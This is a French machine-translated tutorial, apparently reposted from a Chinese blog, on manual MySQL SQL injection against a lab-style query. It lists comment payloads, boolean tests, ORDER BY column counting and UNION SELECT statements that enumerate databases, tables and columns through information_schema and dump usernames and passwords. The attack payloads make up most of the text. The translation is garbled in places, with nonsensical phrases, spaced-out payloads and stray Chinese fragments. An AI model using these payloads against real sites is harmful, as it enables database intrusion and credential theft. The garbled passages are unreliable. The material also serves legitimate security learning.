Les étapes de base de l'injection manuelle MySQL et l'enregistrement de certaines techniques. Lors de l'apprentissage de l'injection manuelle, les articles sur Internet sont inégaux, ce qui entraîne une compréhension de longue date de l'injection manuelle a été dans un état de peu de compréhension, enregistrez ici cet article, laissez Xiaobai Evitons les détours. Cet article est uniquement pour l'injection manuelle de Xiaobai, et la grosse vache contourne le léger spray.
étape
Commentaire ou déclaration de clôture
Regardez d'abord le prochain code source de requête d'instruction SQL de base:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Les étapes suivantes utilisent cette instruction SQL de base par défaut. D'autres méthodes d'injection changent la soupe sans changer le médicament. Ici, je veux juste trier les étapes injectées et les instructions clés.
Déclaration citée
id =1 ' and '1' ='1
L'instruction SQL introduite dans le code source est:
SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1
Commentaire après la phrase
Charge utile d'annotation couramment utilisée
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换,url 提交过程中 Url 编码后的#为%23
L'instruction SQL introduite dans le code source est:
SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
De cette façon, nous pouvons voir que les déclarations suivantes sont directement commentées: en général, il y a plus de commentaires dans le combat réel.
et vérifier
Bien sûr, ici et la vérification et / ou la vérification sont toutes deux possibles, il y a peu de différence entre les deux: la page revient à la normale
?id=1' and 1=1 --+
?id=1' or 1=2 --+
La page revient anormalement
?id=1' and 1=2 --+
?id=1' or 1=1 --+
S'il s'avère que la page est d'abord normale puis anormale, cela signifie qu'il y a injection dans la page. Bien sûr, c'est la méthode de jugement la plus basique: lorsque le blind parie plus tard, la fonction de retard est utilisée pour observer l'heure de retour de la page.
Nombre de champs de requête
Le nombre de champs de requête utilise principalement l'ordre par dans MySQL pour déterminer le nombre de champs. Trier par utilise généralement une recherche demi-et-demie en mathématiques pour déterminer le nombre de champs spécifiques. Ce sera très efficace. Ce qui suit suppose cet ordre par est utilisé pour déterminer l'injection d'un champ inconnu.
? id = 1 'ordre par 1 - + A ce moment, la page est normale, continuer le test avec un plus grand nombre? id = 1' ordre par 10 - + A ce moment, la page renvoie une erreur, remplacez par un plus petit nombre à tester? id = 1 'order by 5 - + À ce moment, la page signale toujours une erreur, continuez à réduire la valeur test? id = 1' order by 3 - + A ce moment, la page retourne à la normale, remplacez par un plus grand nombre test? id = 1 'order by 4 - + this Lorsque la page renvoie une erreur, 3 est normal, 4 est faux, indiquant que le nombre de champs est 3
Déterminez le nombre de champs par la recherche mathématique de moitié.
Requête conjointe
UNION SELECT
Requête conjointe, injection manuelle de phrases classiques, la fonction est de UNION
connecter ultérieurement notre phrase d'injection malveillante et de la mettre dans la base de données pour requête. Étant donné que le nombre de champs est :, 3
alors la déclaration formelle est la suivante:
?id=1' UNION SELECT 1,2,3 --+
Cette page ne signalera pas d'erreur. Pour le moment, la déclaration que nous introduisons dans la base de données est la suivante:
L'instruction SELECT 1,2,3 n'a aucune signification, donc la page revient à la normale.
Mais pour collecter des informations, nous devons connaître la valeur dans la page actuelle, quel champ de la base de données est appelé, et nous pouvons délibérément construire une mauvaise déclaration pour exploser le mauvais champ:
id = -1 'UNION SELECT 1,2,3 - + Pass id = -1 Une valeur d'id négative qui n'existe pas pour déclencher une erreur id = 1' et 1 = 2 UNION SELECT 1,2,3 - + Passer et 1 = 2 instruction pour déclencher une erreur id = 1 'ou 1 = 1 UNION SELECT 1,2,3 - + ou 1 = 1 instruction pour déclencher une erreur
On peut voir que le numéro de champ spécifique a été exposé. Voici l'explosion 2
et 3
entrez dans la base de données MySQL pour voir la structure des champs de cette table:
Structure parfaite des tables de la base de données ceci est vérifié avant le numéro d'erreur de rafale 2
et 3
, là où les chiffres représentent le champ, correspondant aux valeurs de champ se produisent, c'est: username
et password
.
recueillir des informations
La valeur du champ peut être remplacée par notre déclaration malveillante. La première étape consiste principalement à collecter des informations, notamment à déterminer si la base de données actuelle est l'utilisateur root, la version de MySQL, etc. En général, certaines fonctions MySQL sont utilisées pour collecter des informations pour collecter ces informations: les fonctions système couramment utilisées par MySQL
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
Interroger le nom actuel de la base de données
id=1' and 1=2 UNION SELECT 1,database(),3 --+
Interroger la version de MySQL
id=1' and 1=2 UNION SELECT 1,2,version() --+
Utilisateur et chemin de la base de données de requête
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+
Base de données de requêtes
Interroger la base de données En règle générale, ce que nous devons vérifier lors de l'injection est la base de données actuelle, mais parfois l'autorité racine est NB et vous pouvez voir le contenu de la base de données en dehors de la base de données du site Web. Interroger la base de données actuelle
id=1' and 1=2 UNION SELECT 1,2,database() --+
Obtenez le nom de la base de données actuelle comme security
suit : Interroger toutes les bases de données Parfois, vous ne pouvez pas vous empêcher de vouloir voir le contenu d'autres bases de données, vous pouvez utiliser cette instruction pour interroger toutes les bases de données:
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
group_concat
Les fonctions sont utilisées ici . Le positionnement de cet article étant une étape d'injection manuelle, je ne vais pas expliquer en détail l'utilisation de ces fonctions ici. Pour comprendre les fonctions associées, veuillez vous référer à mon autre article: Injection manuelle MySQL de fonctions de chaîne courantes
Nom de la table de recherche
base de données de requête de base de données
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
Base de données de guillemets simples
La database()
fonction ici exécute une requête de base de données, car nous avons trouvé la base de données actuelle security
, vous pouvez donc également l'écrire ici. Utilisez des guillemets simples pour entourer le nom de la base de données 'security'
:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
base de données de codage hexadécimal
S'il est gênant de mettre des guillemets simples, quelle coïncidence! Il existe une méthode plus gênante ici, qui consiste à hex
encoder le nom de la base de données . Utilisez le HackBar
plug-in fourni avec Firefox pour hex
coder rapidement :
hex
L'ajout avant le codage 0x
indique qu'il s'agit d'un codage hexadécimal.
La méthode de concentration courante actuelle est à peu près comme ça, et il existe des méthodes d' group_concat
écriture hexadécimale puis non hexadécimale, qui sont censées contourner la classe waf . Elle n'est pas très couramment utilisée ici et ne sera pas répétée ici. De la même manière, ces méthodes peuvent également être utilisées dans les noms de colonne de la base de données de requêtes, et vous devez apprendre à les utiliser de manière flexible.
Nom de la colonne de requête
Les informations actuellement collectées sont:
Nom de la base de données: nom de la table de la base de données securuty: emails, référents, uagents, utilisateurs
En tant que hacker, vous devez avoir un sens aigu de l'odorat (chien manuel) .En général, nous continuerons à deviner les users
tableaux de ces tableaux. La méthode suivante est similaire à l'interrogation de la base de données pour interroger le nom de la colonne. Le principe est MySQL
qu'il information_schema
y aura des informations pertinentes sur toutes les bases de données dans la suivante :
Maintenant que tout est là, voici une liste des informations les plus critiques information_schema
de l' injection manuelle MySQL :
Enregistrer des informations sur la base de données
schemata
L' schema_name
enregistrement dans la table sous la base de données information_schema est 数据库
le nom de chacun :
Non seulement tables
le table_schema
tableau sous la base de données est enregistré ici , mais également le nom de chaque base de données:
Enregistrer les informations sur la fiche technique
tables
L' table_name
enregistrement dans la table sous la base de données information_schema est 数据表
le nom de chacun :
Voici la magnifique ligne de démarcation. J'ai été surpris. En un clin d'œil, je n'ai pas pu m'empêcher de tirer autant de choses. N'en parlons pas directement pour interroger les noms des colonnes sous le tableau des utilisateurs.
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
Valeur du champ de requête
Comme il y a beaucoup de verbosité dans les noms de colonne de requête, les principes de base ont été écrits dessus, voici une charge utile simple:
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
Maintenant que vous connaissez la base de données, le nom de la table et le nom du champ, vous pouvez interroger directement sans utiliser la information_schanem
base de données.
Bref classement
J'avais initialement prévu de l'écrire dans les étapes précédentes, mais je n'ai pas pu m'empêcher d'écrire trop. J'ai donc ouvert un titre pour une brève collation:
trié par - + Déterminer le nombre de champs
sélection d'union - + Requête d'union pour collecter des informations
id = 1 'et 1 = 2 UNION SELECT 1,2, database () - + Interroge la base de données actuelle
id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (schema_name) from information_schema.schemata - + Interroger toutes les bases de données
id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (nom_table) de information_schema.tables où table_schema = base de données () - + 查询 表 名
id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (nom_colonne) from information_schema.columns où nom_table =' utilisateurs '- + 查询 列 名
id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (id, nom d'utilisateur, mot de passe) des utilisateurs - + valeur du champ de requête